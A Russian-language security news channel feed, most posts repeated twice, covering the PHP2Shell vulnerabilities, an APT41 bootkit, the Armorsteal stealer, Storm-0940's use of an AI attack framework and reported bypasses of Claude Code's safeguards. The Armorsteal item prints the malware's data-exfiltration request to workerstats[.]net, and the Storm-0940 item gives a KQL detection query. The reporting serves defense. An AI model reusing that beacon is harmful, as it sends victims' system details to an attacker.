PHP2Shell: две RCE-уязвимости позволят выполнить код без аутентификации
Две критические RCE-уязвимости в PHP, получившие название PHP2Shell, станут доступны сегодня. Уязвимости CVE-2026-109618 и CVE-2026-109619 позволяют удалённо выполнить код. Первая связана с некорректной обработкой ошибок нехватки памяти, вторая — с устаревшим глобальным состоянием.
Уязвимости затрагивают версии PHP 8.1 и старше, которые больше не поддерживаются. Исправленные версии — PHP 8.5.12, 8.4.27, 8.3.36 и 8.2.35. Для неподдерживаемых версий предложены временные меры: установка `memory_limit=-1`, ограничение `post_max_size`, использование лимитов контейнеров или cgroup, отключение `session.upload_progress.enabled` и настройка `fatal_error_backtraces=0` для PHP 8.5.
Исследователи VulnCheck подтвердили возможность эксплуатации уязвимостей на системах ARM64 и x86 без ASLR. На GitHub появилось множество PoC-репозиториев. По данным VulnCheck, около 2,6 млн интернет-серверов используют уязвимые версии PHP, из них более 1,1 млн работают на неподдерживаемых ветках.
ⓘ Что такое PHP2Shell
PHP2Shell — это название, данное сообществом двум критическим RCE-уязвимостям (CVE-2026-109618 и CVE-2026-109619) в языке программирования PHP. Они позволяют злоумышленникам удалённо выполнить произвольный код на сервере.
Источник: VulnCheck
@cbunit
Две критические RCE-уязвимости в PHP, получившие название PHP2Shell, станут доступны сегодня. Уязвимости CVE-2026-109618 и CVE-2026-109619 позволяют удалённо выполнить код. Первая связана с некорректной обработкой ошибок нехватки памяти, вторая — с устаревшим глобальным состоянием.
Уязвимости затрагивают версии PHP 8.1 и старше, которые больше не поддерживаются. Исправленные версии — PHP 8.5.12, 8.4.27, 8.3.36 и 8.2.35. Для неподдерживаемых версий предложены временные меры: установка `memory_limit=-1`, ограничение `post_max_size`, использование лимитов контейнеров или cgroup, отключение `session.upload_progress.enabled` и настройка `fatal_error_backtraces=0` для PHP 8.5.
Исследователи VulnCheck подтвердили возможность эксплуатации уязвимостей на системах ARM64 и x86 без ASLR. На GitHub появилось множество PoC-репозиториев. По данным VulnCheck, около 2,6 млн интернет-серверов используют уязвимые версии PHP, из них более 1,1 млн работают на неподдерживаемых ветках.
ⓘ Что такое PHP2Shell
PHP2Shell — это название, данное сообществом двум критическим RCE-уязвимостям (CVE-2026-109618 и CVE-2026-109619) в языке программирования PHP. Они позволяют злоумышленникам удалённо выполнить произвольный код на сервере.
Источник: VulnCheck
@cbunit
#дайджест
Главное к исходу среды (21.10):
🔸 PHP: две критические RCE-уязвимости (CVSS 9.2) эксплуатируются до запуска кода приложения
🔸 PHP: две критические уязвимости позволят выполнить код удалённо
🔸 Lazarus использует ИИ и постквантовую криптографию в новой кампании кибершпионажа
🔸 Cisco устранила уязвимости в Snort 3, связанные с записью за пределы памяти
Главное к исходу среды (21.10):
🔸 PHP: две критические RCE-уязвимости (CVSS 9.2) эксплуатируются до запуска кода приложения
🔸 PHP: две критические уязвимости позволят выполнить код удалённо
🔸 Lazarus использует ИИ и постквантовую криптографию в новой кампании кибершпионажа
🔸 Cisco устранила уязвимости в Snort 3, связанные с записью за пределы памяти
❢ PHP: ошибка OOM приводит к RCE через некорректную очистку памяти
В PHP обнаружена уязвимость, связанная с некорректной обработкой ошибок нехватки памяти (OOM). При возникновении OOM-ошибки PHP использует longjmp() для выхода из текущего контекста и прерывания обработки запроса. Некоторые контексты не учитывают этот сценарий должным образом, оставляя память запроса в неинициализированном состоянии перед выделением.
Процедура очистки запроса может привести к чтению или переходу по этой памяти. Использование различных OOM-стратегий позволяет последовательно вызывать это условие и достигать удалённого выполнения кода (RCE). Уязвимость имеет рейтинг CVSS 9.2 (CRITICAL) и классифицируется как CWE-416.
ⓘ Что такое OOM-ошибки
OOM (Out-of-Memory) — это ошибка, возникающая, когда программа пытается выделить больше памяти, чем доступно в системе. Некорректная обработка таких ошибок может привести к непредсказуемому поведению приложения, включая утечки памяти или уязвимости.
Источники: NVD · AWS Security · Unit 42 · Cisco Talos · Хабр / Новости · Malwarebytes Labs · The Register · Palo Alto Networks · Ubuntu Security · Wordfence · Socket · Zscaler ThreatLabz · Kaspersky Daily
@cbunit
В PHP обнаружена уязвимость, связанная с некорректной обработкой ошибок нехватки памяти (OOM). При возникновении OOM-ошибки PHP использует longjmp() для выхода из текущего контекста и прерывания обработки запроса. Некоторые контексты не учитывают этот сценарий должным образом, оставляя память запроса в неинициализированном состоянии перед выделением.
Процедура очистки запроса может привести к чтению или переходу по этой памяти. Использование различных OOM-стратегий позволяет последовательно вызывать это условие и достигать удалённого выполнения кода (RCE). Уязвимость имеет рейтинг CVSS 9.2 (CRITICAL) и классифицируется как CWE-416.
ⓘ Что такое OOM-ошибки
OOM (Out-of-Memory) — это ошибка, возникающая, когда программа пытается выделить больше памяти, чем доступно в системе. Некорректная обработка таких ошибок может привести к непредсказуемому поведению приложения, включая утечки памяти или уязвимости.
Источники: NVD · AWS Security · Unit 42 · Cisco Talos · Хабр / Новости · Malwarebytes Labs · The Register · Palo Alto Networks · Ubuntu Security · Wordfence · Socket · Zscaler ThreatLabz · Kaspersky Daily
@cbunit
Критическая уязвимость в PHP позволяет выполнять код без аутентификации
PHP-проект выпустил экстренные обновления для двух критических уязвимостей, позволяющих неаутентифицированному злоумышленнику выполнять код через службу PHP, обрабатывающую трафик веб-сайтов. Уязвимости отслеживаются как CVE-2026-109618 и CVE-2026-109619, каждая из которых имеет оценку CVSS v4.0 9.2 из 10.
Эти уязвимости находятся в самом языке PHP, а не в WordPress Core, плагинах или темах. Обновление WordPress не устанавливает исправления. На большинстве хостингов PHP управляется провайдером. Владельцы собственных серверов должны обновить пакет PHP самостоятельно. Исправления содержатся в версиях PHP 8.5.12, 8.4.27, 8.3.36 и 8.2.35. После обновления необходимо перезапустить PHP, а контейнеры пересобрать из обновленного образа.
ⓘ Что такое PHP и как он связан с WordPress
PHP — это язык программирования, на котором в основном написан WordPress. Он работает на веб-сервере и обычно устанавливается и управляется хостинг-провайдером. Обновление WordPress не обновляет PHP. Брандмауэр Wordfence защищает уровень приложений WordPress, а PHP, веб-сервер и операционная система требуют собственных обновлений и защиты.
Источник: Wordfence
@cbunit
PHP-проект выпустил экстренные обновления для двух критических уязвимостей, позволяющих неаутентифицированному злоумышленнику выполнять код через службу PHP, обрабатывающую трафик веб-сайтов. Уязвимости отслеживаются как CVE-2026-109618 и CVE-2026-109619, каждая из которых имеет оценку CVSS v4.0 9.2 из 10.
Эти уязвимости находятся в самом языке PHP, а не в WordPress Core, плагинах или темах. Обновление WordPress не устанавливает исправления. На большинстве хостингов PHP управляется провайдером. Владельцы собственных серверов должны обновить пакет PHP самостоятельно. Исправления содержатся в версиях PHP 8.5.12, 8.4.27, 8.3.36 и 8.2.35. После обновления необходимо перезапустить PHP, а контейнеры пересобрать из обновленного образа.
ⓘ Что такое PHP и как он связан с WordPress
PHP — это язык программирования, на котором в основном написан WordPress. Он работает на веб-сервере и обычно устанавливается и управляется хостинг-провайдером. Обновление WordPress не обновляет PHP. Брандмауэр Wordfence защищает уровень приложений WordPress, а PHP, веб-сервер и операционная система требуют собственных обновлений и защиты.
Источник: Wordfence
@cbunit
IDC: Основы кибербезопасности — знание активов и их владельцев
Исследователь IDC Мишель Абрахам подчёркивает важность фундаментальных принципов кибербезопасности. Организации часто упускают из виду такие аспекты, как полная инвентаризация активов и чёткое понимание их владельцев. Эти базовые элементы, по её словам, остаются критически важными, несмотря на появление новых технологий.
Абрахам отмечает, что чрезмерное количество инструментов безопасности может создавать избыточный шум и сложность, что негативно сказывается на общей защищённости. Она ставит системы резервного копирования и восстановления выше многих инструментов обнаружения угроз. Лидерам следует оценивать, насколько эффективно команда справляется с существующими инструментами, прежде чем приобретать новые.
Для измерения прогресса в области безопасности Абрахам предлагает фокусироваться на снижении рисков, а не на количестве проведённых сканирований или обнаруженных проблем. Важно отслеживать полноту инвентаризации активов, охват средствами защиты, такими как MFA и защита конечных точек, а также риски, связанные с третьими сторонами. Приоритезация исправлений должна основываться на реальной бизнес-критичности и эксплуатируемости уязвимостей, а не только на показателе CVSS.
ⓘ Что такое MFA
MFA (Multi-Factor Authentication) — многофакторная аутентификация. Это метод подтверждения личности пользователя при входе в учётную запись путём предоставления двух или более доказательств (факторов) подлинности: что-то, что пользователь знает (пароль), что-то, что у него есть (телефон, токен), или что-то, что он собой представляет (биометрия).
Источник: IDC
@cbunit
Исследователь IDC Мишель Абрахам подчёркивает важность фундаментальных принципов кибербезопасности. Организации часто упускают из виду такие аспекты, как полная инвентаризация активов и чёткое понимание их владельцев. Эти базовые элементы, по её словам, остаются критически важными, несмотря на появление новых технологий.
Абрахам отмечает, что чрезмерное количество инструментов безопасности может создавать избыточный шум и сложность, что негативно сказывается на общей защищённости. Она ставит системы резервного копирования и восстановления выше многих инструментов обнаружения угроз. Лидерам следует оценивать, насколько эффективно команда справляется с существующими инструментами, прежде чем приобретать новые.
Для измерения прогресса в области безопасности Абрахам предлагает фокусироваться на снижении рисков, а не на количестве проведённых сканирований или обнаруженных проблем. Важно отслеживать полноту инвентаризации активов, охват средствами защиты, такими как MFA и защита конечных точек, а также риски, связанные с третьими сторонами. Приоритезация исправлений должна основываться на реальной бизнес-критичности и эксплуатируемости уязвимостей, а не только на показателе CVSS.
ⓘ Что такое MFA
MFA (Multi-Factor Authentication) — многофакторная аутентификация. Это метод подтверждения личности пользователя при входе в учётную запись путём предоставления двух или более доказательств (факторов) подлинности: что-то, что пользователь знает (пароль), что-то, что у него есть (телефон, токен), или что-то, что он собой представляет (биометрия).
❝If our most critical systems went down tomorrow due to a cyber attack, how long is it going to be till we’re operating again?❞
— Michelle Abraham, Research Vice President, Security and Trust, IDC
Источник: IDC
@cbunit
APT41 возродила UEFI-буткит BlackLotus для атак на дипломатов в Центральной Азии
Группировка APT41 возродила UEFI-буткит BlackLotus под новым названием BlackX. Исследователи обнаружили его применение в целевой кампании против дипломатических ведомств Таджикистана, Узбекистана и Туркменистана.
BlackX эксплуатирует уязвимость Baton Drop (CVE-2022-21894), позволяя обойти Secure Boot и установить пользовательские ключи владельца компьютера. Это дает возможность загружать произвольные EFI-файлы и манипулировать работой системы. Реализация эксплойта схожа с BlackLotus, но исходный код буткита не публиковался, что указывает на реверс-инжиниринг или покупку кода злоумышленниками.
Буткит устанавливает вредоносный драйвер, который вмешивается в работу защитных решений, отключая их функции. Также драйвер защищает файлы буткита от обнаружения. Далее развертываются троянцы удаленного доступа (RAT) и OxiDLLRunner, использующие облачные хранилища для связи с командными серверами и загрузки дополнительных модулей.
ⓘ Что такое UEFI-буткит
UEFI-буткит — это вредоносное программное обеспечение, которое загружается на раннем этапе инициализации системы, до старта операционной системы. Оно использует возможности интерфейса Unified Extensible Firmware Interface (UEFI) для обхода защитных механизмов и получения полного контроля над устройством.
Источник: Securelist
@cbunit
Группировка APT41 возродила UEFI-буткит BlackLotus под новым названием BlackX. Исследователи обнаружили его применение в целевой кампании против дипломатических ведомств Таджикистана, Узбекистана и Туркменистана.
BlackX эксплуатирует уязвимость Baton Drop (CVE-2022-21894), позволяя обойти Secure Boot и установить пользовательские ключи владельца компьютера. Это дает возможность загружать произвольные EFI-файлы и манипулировать работой системы. Реализация эксплойта схожа с BlackLotus, но исходный код буткита не публиковался, что указывает на реверс-инжиниринг или покупку кода злоумышленниками.
Буткит устанавливает вредоносный драйвер, который вмешивается в работу защитных решений, отключая их функции. Также драйвер защищает файлы буткита от обнаружения. Далее развертываются троянцы удаленного доступа (RAT) и OxiDLLRunner, использующие облачные хранилища для связи с командными серверами и загрузки дополнительных модулей.
ⓘ Что такое UEFI-буткит
UEFI-буткит — это вредоносное программное обеспечение, которое загружается на раннем этапе инициализации системы, до старта операционной системы. Оно использует возможности интерфейса Unified Extensible Firmware Interface (UEFI) для обхода защитных механизмов и получения полного контроля над устройством.
Источник: Securelist
@cbunit
UserGate защитит инфраструктуру X Кубка CTF России
▤ Разбор
Компания UserGate обеспечит защиту сетевой инфраструктуры финального этапа «X Кубка CTF России». Турнир пройдёт с 31 октября по 6 декабря 2026 года. Участники проверят навыки защиты информационных систем и поборются за 1 млн рублей.
Защита сетевой инфраструктуры предотвратит нелегитимный доступ и хакерские атаки на платформу соревнований. UserGate использует межсетевой экран нового поколения uNGFW с системами обнаружения вторжений, контент-фильтрации и защиты от вредоносных программ. Компания обеспечивает безопасность Кубка CTF России с 2020 года.
Архитектор клиентского опыта UserGate Михаил Кадер примет участие в арбитраже соревнований. Он отметил, что специалисты, начинавшие в CTF, востребованы в компании и обладают специфическими навыками работы в реальных условиях.
ⓘ Что такое CTF
CTF (Capture the Flag — «захват флага») — командные соревнования по информационной безопасности. Участники проверяют практические навыки защиты информационных систем.
Источник: UserGate
@cbunit
▤ Разбор
Компания UserGate обеспечит защиту сетевой инфраструктуры финального этапа «X Кубка CTF России». Турнир пройдёт с 31 октября по 6 декабря 2026 года. Участники проверят навыки защиты информационных систем и поборются за 1 млн рублей.
Защита сетевой инфраструктуры предотвратит нелегитимный доступ и хакерские атаки на платформу соревнований. UserGate использует межсетевой экран нового поколения uNGFW с системами обнаружения вторжений, контент-фильтрации и защиты от вредоносных программ. Компания обеспечивает безопасность Кубка CTF России с 2020 года.
Архитектор клиентского опыта UserGate Михаил Кадер примет участие в арбитраже соревнований. Он отметил, что специалисты, начинавшие в CTF, востребованы в компании и обладают специфическими навыками работы в реальных условиях.
ⓘ Что такое CTF
CTF (Capture the Flag — «захват флага») — командные соревнования по информационной безопасности. Участники проверяют практические навыки защиты информационных систем.
Источник: UserGate
@cbunit
Chainguard нарушила эмбарго PHP Foundation, опубликовав исправления раньше срока
PHP Foundation обвинила Chainguard в нарушении эмбарго на раскрытие информации об уязвимостях. Chainguard опубликовала исправленные образы контейнеров PHP на шесть часов раньше запланированного срока. Это позволило злоумышленникам изучить исправления до того, как они стали доступны другим дистрибьюторам.
PHP Foundation описала процесс раскрытия, нарушенный утечками идентификаторов CVE, демонстрацией эксплойта и ранней публикацией Chainguard. Разработка исправления для проблемы управления памятью затягивалась с 2024 года. Уязвимости CVE-2026-109618 и CVE-2026-109619 позволяли выполнять удалённый код на веб-серверах без аутентификации.
ⓘ Что такое Chainguard
Chainguard — компания, занимающаяся безопасностью программного обеспечения, в частности, разработкой и поддержкой безопасных образов контейнеров. CEO компании Дэн Лоренц объяснил раннюю публикацию исправлений тем, что эксплойты уже появились в дикой природе.
Источники: Socket · D-Russia · SecurityMedia · Palo Alto Networks
@cbunit
PHP Foundation обвинила Chainguard в нарушении эмбарго на раскрытие информации об уязвимостях. Chainguard опубликовала исправленные образы контейнеров PHP на шесть часов раньше запланированного срока. Это позволило злоумышленникам изучить исправления до того, как они стали доступны другим дистрибьюторам.
PHP Foundation описала процесс раскрытия, нарушенный утечками идентификаторов CVE, демонстрацией эксплойта и ранней публикацией Chainguard. Разработка исправления для проблемы управления памятью затягивалась с 2024 года. Уязвимости CVE-2026-109618 и CVE-2026-109619 позволяли выполнять удалённый код на веб-серверах без аутентификации.
ⓘ Что такое Chainguard
Chainguard — компания, занимающаяся безопасностью программного обеспечения, в частности, разработкой и поддержкой безопасных образов контейнеров. CEO компании Дэн Лоренц объяснил раннюю публикацию исправлений тем, что эксплойты уже появились в дикой природе.
Источники: Socket · D-Russia · SecurityMedia · Palo Alto Networks
@cbunit
Claude Code: риски безопасности для корпоративных пользователей
Claude Code, инструмент для анализа кода от Anthropic, имеет ряд уязвимостей, несмотря на встроенные настройки безопасности. Автоматический режим пропускает 17% рискованных действий, а пользователи одобряют 93% запросов на разрешения. Эксплойты в основном обходят защитные механизмы вокруг модели, а не саму модель.
Официальные настройки безопасности, такие как управляемые политики и песочница, повышают уровень защиты, но не устраняют все риски. Разработчики с правами локального администратора могут изменять политики, а облачные сессии не всегда подчиняются настройкам устройства. Кроме того, различные инструменты ИИ могут работать параллельно, каждый со своими политиками безопасности.
Для усиления защиты рекомендуется использовать дополнительные средства контроля: ограничение доступа к учетным данным, блокировку исходящих соединений по умолчанию, изоляцию для фоновых задач и контроль за действиями агентов для предотвращения опасных цепочек.
ⓘ Что такое Claude Code
Claude Code — это инструмент от Anthropic, предназначенный для анализа кода на наличие уязвимостей. Он работает как ИИ-агент, который может читать репозитории, выполнять команды и редактировать файлы с правами пользователя. Инструмент призван повысить безопасность разработки, но его собственные механизмы защиты имеют ограничения.
Источники: Adversa AI · Хабр / Машинное обучение
@cbunit
Claude Code, инструмент для анализа кода от Anthropic, имеет ряд уязвимостей, несмотря на встроенные настройки безопасности. Автоматический режим пропускает 17% рискованных действий, а пользователи одобряют 93% запросов на разрешения. Эксплойты в основном обходят защитные механизмы вокруг модели, а не саму модель.
Официальные настройки безопасности, такие как управляемые политики и песочница, повышают уровень защиты, но не устраняют все риски. Разработчики с правами локального администратора могут изменять политики, а облачные сессии не всегда подчиняются настройкам устройства. Кроме того, различные инструменты ИИ могут работать параллельно, каждый со своими политиками безопасности.
Для усиления защиты рекомендуется использовать дополнительные средства контроля: ограничение доступа к учетным данным, блокировку исходящих соединений по умолчанию, изоляцию для фоновых задач и контроль за действиями агентов для предотвращения опасных цепочек.
ⓘ Что такое Claude Code
Claude Code — это инструмент от Anthropic, предназначенный для анализа кода на наличие уязвимостей. Он работает как ИИ-агент, который может читать репозитории, выполнять команды и редактировать файлы с правами пользователя. Инструмент призван повысить безопасность разработки, но его собственные механизмы защиты имеют ограничения.
Источники: Adversa AI · Хабр / Машинное обучение
@cbunit
Armorsteal: новая Python-мальварь распространяется через поддельные сайты Chocolatey и MAS
В сентябре 2026 года команда Zscaler Threat Hunting выявила кампанию SEO-отравления. Злоумышленники использовали поддельные сайты, имитирующие менеджер пакетов Chocolatey и инструмент Microsoft Activation Scripts (MAS). Целью кампании было распространение новой вредоносной программы на Python, получившей название Armorsteal.
Пользователи, искавшие инструкции по установке Chocolatey или скрипты активации Microsoft, попадали на фишинговые страницы. Там им предлагалось выполнить вредоносный PowerShell-скрипт. Этот скрипт загружал и устанавливал Armorsteal, который включал компоненты для удалённого доступа, шпионажа и кражи данных. Код вредоноса был обфусцирован с помощью Pyarmor.
ⓘ Что такое Armorsteal
Armorsteal — это семейство вредоносных программ, написанных на Python. Оно предназначено для удалённого доступа к системе жертвы, шпионажа за её действиями и кражи конфиденциальной информации, такой как учётные данные, токены и данные криптовалютных кошельков. Вредонос использует обфускацию кода для усложнения анализа.
Источник: Zscaler ThreatLabz
@cbunit
В сентябре 2026 года команда Zscaler Threat Hunting выявила кампанию SEO-отравления. Злоумышленники использовали поддельные сайты, имитирующие менеджер пакетов Chocolatey и инструмент Microsoft Activation Scripts (MAS). Целью кампании было распространение новой вредоносной программы на Python, получившей название Armorsteal.
Пользователи, искавшие инструкции по установке Chocolatey или скрипты активации Microsoft, попадали на фишинговые страницы. Там им предлагалось выполнить вредоносный PowerShell-скрипт. Этот скрипт загружал и устанавливал Armorsteal, который включал компоненты для удалённого доступа, шпионажа и кражи данных. Код вредоноса был обфусцирован с помощью Pyarmor.
ⓘ Что такое Armorsteal
Armorsteal — это семейство вредоносных программ, написанных на Python. Оно предназначено для удалённого доступа к системе жертвы, шпионажа за её действиями и кражи конфиденциальной информации, такой как учётные данные, токены и данные криптовалютных кошельков. Вредонос использует обфускацию кода для усложнения анализа.
POST /receive_infof HTTP/1.1
Host: workerstats[.]net
User-Agent: python-requests/2.31.0
Content-Type: application/json
Content-Length: {CONTENT_LENGTH}
{
"host_name": "{HOSTNAME}",
"ip_address": "{LOCAL_IP}",
"public_ip_address": "{PUBLIC_IP}",
"mac_address": "{MAC_ADDRESS}",
"system": "{WINDOWS_VERSION}",
"machine": "{MACHINE_ARCHITECTURE}",
"memory": {
"total": {TOTAL_MEMORY_SIZE},
"available": {AVAILABLE_MEMORY_SIZE},
"percent": {MEMORY_PERCENTAGE}
}
}
Источник: Zscaler ThreatLabz
@cbunit
Meta оштрафована на $25 млрд за утечку данных Cambridge Analytica
Суд Нью-Мексико обязал Meta выплатить $25 млрд за нарушения конфиденциальности данных, связанные со скандалом Cambridge Analytica. Жюри установило, что Meta нарушила закон о недобросовестной практике 43 млн раз, каждая из которых предусматривала штраф до $5000.
Изначально штат требовал $220 млрд, но судья снизил сумму до $25 млрд. Meta будет выплачивать 15% годовых на остаток долга. Дело связано с тем, что Facebook передавал данные до 87 млн пользователей Cambridge Analytica, которая использовала их для создания психологических профилей избирателей.
ⓘ Что такое Cambridge Analytica
Британская политическая консалтинговая фирма, которая использовала данные пользователей Facebook для создания психологических профилей избирателей. Скандал вокруг её деятельности в 2018 году выявил масштабные нарушения конфиденциальности данных.
Источники: The Record · D-Russia · Malwarebytes Labs
@cbunit
Суд Нью-Мексико обязал Meta выплатить $25 млрд за нарушения конфиденциальности данных, связанные со скандалом Cambridge Analytica. Жюри установило, что Meta нарушила закон о недобросовестной практике 43 млн раз, каждая из которых предусматривала штраф до $5000.
Изначально штат требовал $220 млрд, но судья снизил сумму до $25 млрд. Meta будет выплачивать 15% годовых на остаток долга. Дело связано с тем, что Facebook передавал данные до 87 млн пользователей Cambridge Analytica, которая использовала их для создания психологических профилей избирателей.
ⓘ Что такое Cambridge Analytica
Британская политическая консалтинговая фирма, которая использовала данные пользователей Facebook для создания психологических профилей избирателей. Скандал вокруг её деятельности в 2018 году выявил масштабные нарушения конфиденциальности данных.
Источники: The Record · D-Russia · Malwarebytes Labs
@cbunit
Китайская группировка Storm-0940 использует ИИ-фреймворк ARTEX для атак на сотни организаций
Китайская группировка Storm-0940 с сентября 2026 года автоматизирует атаки с помощью фреймворка ARTEX. Инструмент на базе ИИ позволяет ускорить компрометацию организаций и получить привилегированный доступ к облачной инфраструктуре. Время от начала атаки до получения доступа сократилось до трёх часов.
Microsoft связывает действия Storm-0940 с недавней компрометацией поставщика услуг ConnectWise. Атаки с использованием ARTEX ускоряют сканирование, подбор паролей и злоупотребление OAuth-приложениями. Это позволяет злоумышленникам действовать круглосуточно и одновременно по нескольким векторам, увеличивая скорость и масштаб атак, включая атаки на цепочки поставок.
ⓘ Что такое ARTEX
ARTEX — это фреймворк для автоматизированного пентеста с открытым исходным кодом. Он использует модели ИИ для выполнения различных задач, от разведки до эксфильтрации данных, с минимальным участием человека. Система состоит из LLM-агентов, которые накапливают информацию об активах и уязвимостях в графе в процессе тестирования.
Источники: Microsoft Security · The Record
@cbunit
Китайская группировка Storm-0940 с сентября 2026 года автоматизирует атаки с помощью фреймворка ARTEX. Инструмент на базе ИИ позволяет ускорить компрометацию организаций и получить привилегированный доступ к облачной инфраструктуре. Время от начала атаки до получения доступа сократилось до трёх часов.
Microsoft связывает действия Storm-0940 с недавней компрометацией поставщика услуг ConnectWise. Атаки с использованием ARTEX ускоряют сканирование, подбор паролей и злоупотребление OAuth-приложениями. Это позволяет злоумышленникам действовать круглосуточно и одновременно по нескольким векторам, увеличивая скорость и масштаб атак, включая атаки на цепочки поставок.
ⓘ Что такое ARTEX
ARTEX — это фреймворк для автоматизированного пентеста с открытым исходным кодом. Он использует модели ИИ для выполнения различных задач, от разведки до эксфильтрации данных, с минимальным участием человека. Система состоит из LLM-агентов, которые накапливают информацию об активах и уязвимостях в графе в процессе тестирования.
let ConnectWiseApps = dynamic([
"506e08f9-6e9a-4da4-942b-a099a03644ae", // ConnectWise Cloud Backup
"24205314-2b89-4e07-a2a4-579e898a5640", // ConnectWise - MS Teams
"0de14c77-b9b0-4137-9360-34878a929827" // ConnectWise - MS Graph
]);
OAuthAppInfo
| where OAuthAppId in (ConnectWiseApps)
| mv-expand Permission = Permissions
| extend
PermissionName = tostring(Permission.PermissionName),
TargetApp = tostring(Permission.TargetAppDisplayName),
TargetAppId = tostring(Permission.TargetAppId),
PermissionType = tostring(Permission.PermissionType),
…
Источники: Microsoft Security · The Record
@cbunit
#дайджест
Главное к исходу четверга (22.10):
🔸 PHP: ошибка OOM приводит к RCE через некорректную очистку памяти
🔸 Chainguard нарушила эмбарго PHP Foundation, опубликовав исправления раньше срока
🔸 Meta оштрафована на $25 млрд за утечку данных Cambridge Analytica
🔸 Китайская группировка Storm-0940 использует ИИ-фреймворк ARTEX для атак на сотни организаций
Главное к исходу четверга (22.10):
🔸 PHP: ошибка OOM приводит к RCE через некорректную очистку памяти
🔸 Chainguard нарушила эмбарго PHP Foundation, опубликовав исправления раньше срока
🔸 Meta оштрафована на $25 млрд за утечку данных Cambridge Analytica
🔸 Китайская группировка Storm-0940 использует ИИ-фреймворк ARTEX для атак на сотни организаций
Arista устранила уязвимость нулевого дня в VeloCloud Orchestrator, эксплуатируемую в атаках
Разбор целиком: cbunit.ru
Источники: BleepingComputer · The Hacker News
@cbunit
Разбор целиком: cbunit.ru
Источники: BleepingComputer · The Hacker News
@cbunit
PHP: две критические уязвимости позволяют удалённо выполнить код
PHP выпустила исправления для двух критических уязвимостей, позволяющих удалённо выполнить код. CVE-2026-109618 связана с ошибкой нехватки памяти, а CVE-2026-109619 — с устаревшим состоянием глобальных переменных. Уязвимости получили оценку CVSS 9.2.
Разработчики PHP выпустили обновления 8.5.12, 8.4.27, 8.3.36 и 8.2.35, указав, что полных обходных путей не существует, и единственным безопасным решением является обновление. Для версий PHP 8.1 и старше, которые больше не поддерживаются, доступны лишь частичные меры защиты. Власти Нидерландов и Финляндии временно отключали государственные сайты до выхода исправлений.
ⓘ Что такое PHP2Shell
PHP2Shell — инцидент, связанный с утечкой двух критических уязвимостей в PHP. Утечка произошла до официального выпуска исправлений, что дало злоумышленникам преимущество во времени для разработки эксплойтов.
Источник: Forrester
@cbunit
PHP выпустила исправления для двух критических уязвимостей, позволяющих удалённо выполнить код. CVE-2026-109618 связана с ошибкой нехватки памяти, а CVE-2026-109619 — с устаревшим состоянием глобальных переменных. Уязвимости получили оценку CVSS 9.2.
Разработчики PHP выпустили обновления 8.5.12, 8.4.27, 8.3.36 и 8.2.35, указав, что полных обходных путей не существует, и единственным безопасным решением является обновление. Для версий PHP 8.1 и старше, которые больше не поддерживаются, доступны лишь частичные меры защиты. Власти Нидерландов и Финляндии временно отключали государственные сайты до выхода исправлений.
ⓘ Что такое PHP2Shell
PHP2Shell — инцидент, связанный с утечкой двух критических уязвимостей в PHP. Утечка произошла до официального выпуска исправлений, что дало злоумышленникам преимущество во времени для разработки эксплойтов.
Источник: Forrester
@cbunit
Рынок автоматизации ИБ стабилизировался после роста в 2025 году
Рынок систем автоматизации ИБ SIEM, IRP и SOAR стабилизировался после рекордного роста в 2025 году. Аналитики N4A Analytics отмечают, что объем потребления в 2026 году достигнет 23 млрд рублей, показав прирост всего в 10%.
Устойчивость рынка обеспечивают рост числа и скоротечности атак, а также регуляторный сдвиг в сторону оценки процессов ИБ. Однако высокая трудоемкость внедрения и эксплуатации систем ограничивает круг потребителей крупными компаниями.
ⓘ Что такое SIEM, IRP и SOAR
SIEM (Security Information and Event Management) собирают и коррелируют события безопасности. IRP (Incident Response Platform) автоматизируют расследование инцидентов. SOAR (Security Orchestration, Automation and Response) объединяют оба класса, оркестрируя средства защиты и позволяя реагировать без ручного вмешательства. Все три класса закрывают цикл «обнаружение — анализ — реагирование».
Источник: ComNews
@cbunit
Рынок систем автоматизации ИБ SIEM, IRP и SOAR стабилизировался после рекордного роста в 2025 году. Аналитики N4A Analytics отмечают, что объем потребления в 2026 году достигнет 23 млрд рублей, показав прирост всего в 10%.
Устойчивость рынка обеспечивают рост числа и скоротечности атак, а также регуляторный сдвиг в сторону оценки процессов ИБ. Однако высокая трудоемкость внедрения и эксплуатации систем ограничивает круг потребителей крупными компаниями.
ⓘ Что такое SIEM, IRP и SOAR
SIEM (Security Information and Event Management) собирают и коррелируют события безопасности. IRP (Incident Response Platform) автоматизируют расследование инцидентов. SOAR (Security Orchestration, Automation and Response) объединяют оба класса, оркестрируя средства защиты и позволяя реагировать без ручного вмешательства. Все три класса закрывают цикл «обнаружение — анализ — реагирование».
❝Тут тот редкий случай, когда реальный запрос на сквозную автоматизацию ИБ-процессов стимулируется аналогичными требованиями регуляторов. Но это не быстрый процесс, правильнее говорить про годы❞
— Александр Герасимов
Источник: ComNews
@cbunit